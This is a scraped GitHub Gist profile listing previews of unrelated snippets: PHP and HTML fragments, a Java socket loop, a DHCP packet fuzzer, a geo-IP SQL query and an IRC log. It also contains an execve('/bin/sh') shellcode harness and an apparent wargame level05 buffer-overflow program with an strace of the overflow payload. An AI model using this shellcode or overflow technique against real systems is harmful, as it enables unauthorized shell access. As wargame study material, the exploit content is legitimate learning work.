Skip to content

Instantly share code, notes, and snippets.

View ss23's full-sized avatar

☃ Stephen Shkardoon ☃ ss23

View GitHub Profile
<?php
function content($title = 0, $rq = 0) {
// If there is no site set, we can use a default here.
if (empty($_GET['site'])) {
$site = 'willkommen'; // Replace this with the default site
} else {
$site = $_GET['site'];
}
// We use $site, because its bad practice to modify $_GET/$_POST
<form action='search.php' method='post'>
<fieldset class='login'>
<legend>Search Options</legend>
<table>
<tr>
<td><label>Artist:</label>
</td>
<td><input type='text' name='artist' class='textInputBox' value='' />
int i = 54321;
boolean started = false;
ServerSocket s;
while (!started) {
try {
s = new ServerSocket(i);
started = true;
} catch (Exception e) {
i++;
}
@ss23
ss23 / gist:3264230
Created August 5, 2012 12:05
dhcp fuzzle
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock, '120.138.30.26', 68);
// Example packet
$message = pack('C', 1); // operation request
$message .= pack('C', 1); // hwtype ethernet
$message .= pack('C', 6); // Hardware address length
$message .= pack('C', 0); // hops (always 0)
<html>
<head>
<link rel='stylesheet' href='css/styles.css'/>
<title>My Account - Customer Care Centre - Acme Power Co</title>
</head>
<body>
<div id='heading'>
</div>
mysql> select location.country from location, blocks where startIpNum < 2071690107 AND endIpNum > 2071690107 and blocks.locId = location.locId\G
*************************** 1. row ***************************
country: CN
1 row in set (0.87 sec)
11:02 < ss23> nn brunoobais
11:03 <@brunoais> ss23, learn to write my username
11:03 <@brunoais> BTW
11:03 <@brunoais> ss23,
11:03 < ss23> brunoais: Request refused :)
11:03 <@brunoais> don't be a dick
11:03 < ss23> lolwut
11:03 < Rezagrats> brun tab
11:03 < Haiku> HAI GUISE
11:03 < ss23> what does that mean, brunoais?
char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
@ss23
ss23 / level05.c
Created September 24, 2012 14:55
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
14:54:10 execve("./level05", ["./level05", "\353\37^\211v\0101\300\210F\7\211F\f\260\v\211\363\215N\10\215V\f\315\2001\333\211\330@\315\200\350\334\377\377\377/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\320\333\377\277"], [/* 15 vars */]) = 0
14:54:10 brk(0) = 0x804a000
14:54:10 uname({sys="Linux", node="io", ...}) = 0
14:54:10 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
14:54:10 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xadf000
14:54:10 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
14:54:10 open("/usr/local/lib/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
14:54:10 stat64("/usr/local/lib/tls/i686/sse2/cmov", 0xbfffd6c8) = -1 ENOENT (No such file or directory)
14:54:10 open("/usr/local/lib/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
14:54:10 stat64("/usr/local/lib/tl